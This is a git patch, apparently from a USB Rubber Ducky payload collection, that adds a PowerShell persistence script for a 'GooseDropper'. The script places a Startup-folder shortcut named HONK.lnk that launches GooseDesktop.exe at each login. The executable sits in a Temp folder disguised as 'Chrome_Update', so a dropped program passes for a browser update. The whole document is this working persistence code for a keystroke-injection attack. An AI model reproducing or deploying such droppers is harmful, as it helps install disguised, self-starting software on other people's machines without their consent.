From 578fb6b512e6cc944a1e952f53e5181e5543c586 Mon Sep 17 00:00:00 2001 From: Fr3ki Date: Tue, 31 Oct 2023 16:33:00 -0600 Subject: [PATCH] Fix bug with URLs and add option to bypass the ZIP folder creation --- Duckyscripts/GooseDropper/PersistentGoose.ps1 | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 Duckyscripts/GooseDropper/PersistentGoose.ps1 diff --git a/Duckyscripts/GooseDropper/PersistentGoose.ps1 b/Duckyscripts/GooseDropper/PersistentGoose.ps1 new file mode 100644 index 0000000..94e731b --- /dev/null +++ b/Duckyscripts/GooseDropper/PersistentGoose.ps1 @@ -0,0 +1,6 @@ +$WScriptShell = New-Object -ComObject WScript.Shell +$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe" +$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk" +$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) +$Shortcut.TargetPath = $TargetFile +$Shortcut.Save() \ No newline at end of file